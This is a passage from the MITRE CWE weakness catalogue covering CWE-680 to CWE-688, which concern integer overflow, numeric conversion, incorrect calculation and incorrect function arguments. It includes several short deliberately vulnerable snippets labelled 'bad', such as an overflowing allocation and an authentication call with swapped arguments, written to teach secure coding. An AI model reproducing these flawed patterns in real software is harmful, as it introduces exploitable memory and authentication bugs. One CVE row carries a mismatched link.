CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number
CERT C Secure Coding	FIO01-C		Be careful using functions that use file names for identification
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-554]Michael Howard. "Security Development Lifecycle (SDL) Banned Function Calls". < http://msdn.microsoft.com/en-us/library/bb288454.aspx >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-680: Integer Overflow to Buffer Overflow

Weakness ID : 680 **Status:** Draft
Structure : Chain
Abstraction : Compound

Description

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	B	190	Integer Overflow or Wraparound	437
FollowedBy	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Observed Examples

Reference	Description
CVE-2017-1000121	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000121*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Imprecise	Ensure that operations on signed integers do not result in overflow
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
67	String Format Overflow in syslog()
92	Forced Integer Overflow
100	Overflow Buffers

CWE-681: Incorrect Conversion between Numeric Types

Weakness ID : 681 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	704	Incorrect Type Conversion or Cast	1357
ParentOf	V	192	Integer Coercion Error	446
ParentOf	V	194	Unexpected Sign Extension	454
ParentOf	V	195	Signed to Unsigned Conversion Error	457
ParentOf	V	196	Unsigned to Signed Conversion Error	460
ParentOf	B	197	Numeric Truncation Error	461
CanPrecede	P	682	Incorrect Calculation	1326

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	704	Incorrect Type Conversion or Cast	1357

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	136	Type Errors	1850
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Unexpected State Quality Degradation *The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.*	

Potential Mitigations

Phase: Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.

Demonstrative Examples

Example 1:

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

Example Language: Java *(bad)*

```
int i = (int) 33457.8f;
```

Example 2:

This code adds a float and an integer together, casting the result to an integer.

Example Language: PHP *(bad)*

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.

Example 3:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

Example Language: C *(bad)*

```
unsigned int readdata () {
  int amount = 0;
  ...
  if (result == ERROR)
  amount = -1;
  ...
  return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4:

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Example Language: C *(bad)*

```
unsigned int readdata () {
  int amount = 0;
  ...
  amount = accessmainframe();
  ...
  return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268*
CVE-2007-4988	Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4988*
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0231*

Reference	Description
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3282

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	1883
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	844	1903
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1915
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	1985
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	1996

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP34-C	CWE More Abstract	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT15-C		Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT35-C		Evaluate integer expressions in a larger size before comparing or assigning to that size
The CERT Oracle Secure Coding Standard for Java (2011)	NUM12-J		Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCSM	ASCSM-CWE-681		

References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-682: Incorrect Calculation

Weakness ID : 682 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

Extended Description

When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	B	128	Wrap-around Error	309
ParentOf	B	131	Incorrect Calculation of Buffer Size	325
ParentOf	B	135	Incorrect Calculation of Multi-Byte String Length	339
ParentOf	B	190	Integer Overflow or Wraparound	437
ParentOf	B	191	Integer Underflow (Wrap or Wraparound)	444
ParentOf	B	193	Off-by-one Error	449
ParentOf	B	369	Divide By Zero	818
ParentOf	V	467	Use of sizeof() on a Pointer Type	989
ParentOf	B	468	Incorrect Pointer Scaling	992
ParentOf	B	469	Use of Pointer Subtraction to Determine Size	994
CanFollow	B	681	Incorrect Conversion between Numeric Types	1322
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	1554
CanPrecede	B	170	Improper Null Termination	395

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	131	Incorrect Calculation of Buffer Size	325
ParentOf	B	190	Integer Overflow or Wraparound	437
ParentOf	B	191	Integer Underflow (Wrap or Wraparound)	444
ParentOf	B	193	Off-by-one Error	449
ParentOf	B	369	Divide By Zero	818

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.*	
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands *If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).*	
Access Control	Gain Privileges or Assume Identity *In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.*	
Access Control	Bypass Protection Mechanism *If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Potential Mitigations

Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Phase: Implementation

Strategy = Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Phase: Architecture and Design

Strategy = Language Selection

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C ++) or IntegerLib (C or C++).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C ++) or IntegerLib (C or C++).

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C *(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

Example Language: Java *(bad)*

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C *(bad)*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Observed Examples

Reference	Description
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363*
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	1883
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1915
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	1985
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	1996

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP32-C	CWE More Abstract	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	INT07-C		Use only explicitly signed or unsigned char type for numeric values
CERT C Secure Coding	INT13-C		Use bitwise operators only on unsigned operands
CERT C Secure Coding	INT33-C	CWE More Abstract	Ensure that division and remainder operations do not result in divide-by-zero errors
CERT C Secure Coding	INT34-C	CWE More Abstract	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
128	Integer Attacks
129	Pointer Manipulation

References

[REF-106]David LeBlanc and Niels Dekker. "SafeInt". < http://safeint.codeplex.com/ >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID : 683 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Use the function, procedure, or routine as specified.

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP *(bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

Observed Examples

Reference	Description
CVE-2006-7049	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7049*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

CWE-684: Incorrect Provision of Specified Functionality

Weakness ID : 684 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The code does not function according to its published specifications, potentially leading to incorrect usage.

Extended Description

When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	392	Missing Report of Error Condition	853
ParentOf	B	393	Return of Wrong Status Code	854
ParentOf	B	440	Expected Behavior Violation	949
ParentOf	C	446	UI Discrepancy for Security Feature	956
ParentOf	C	451	User Interface (UI) Misrepresentation of Critical Information	962
ParentOf	B	1245	Improper Finite State Machines (FSMs) in Hardware Logic	1767

Weakness Ordinalities

Indirect :

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Ensure that your code strictly conforms to specifications.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	735	CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)	734	1881
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	PRE09-C		Do not replace secure functions with less secure functions

CWE-685: Function Call With Incorrect Number of Arguments

Weakness ID : 685 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	EXP37-C	CWE More Specific	Call functions with the correct number and type of arguments
CERT C Secure Coding	FIO47-C	Imprecise	Use valid format strings

CWE-686: Function Call With Incorrect Argument Type

Weakness ID : 686 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	1881
MemberOf	C	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	1883
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1915
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP37-C	CWE More Specific	Call functions with the correct number and type of arguments
CERT C Secure Coding	FIO47-C	Imprecise	Use valid format strings
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
CERT C Secure Coding	STR37-C		Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1		Glitch in computation

CWE-687: Function Call With Incorrectly Specified Argument Value

Weakness ID : 687 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243
ParentOf	V	560	Use of umask() with chmod-style Argument	1132

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Manual Static Analysis

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples

Example 1:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl *(bad)*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Notes

Relationship

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to

a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM04-C		Do not perform zero length allocations
Software Fault Patterns	SFP24		Tainted input to command

CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID : 688 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Other

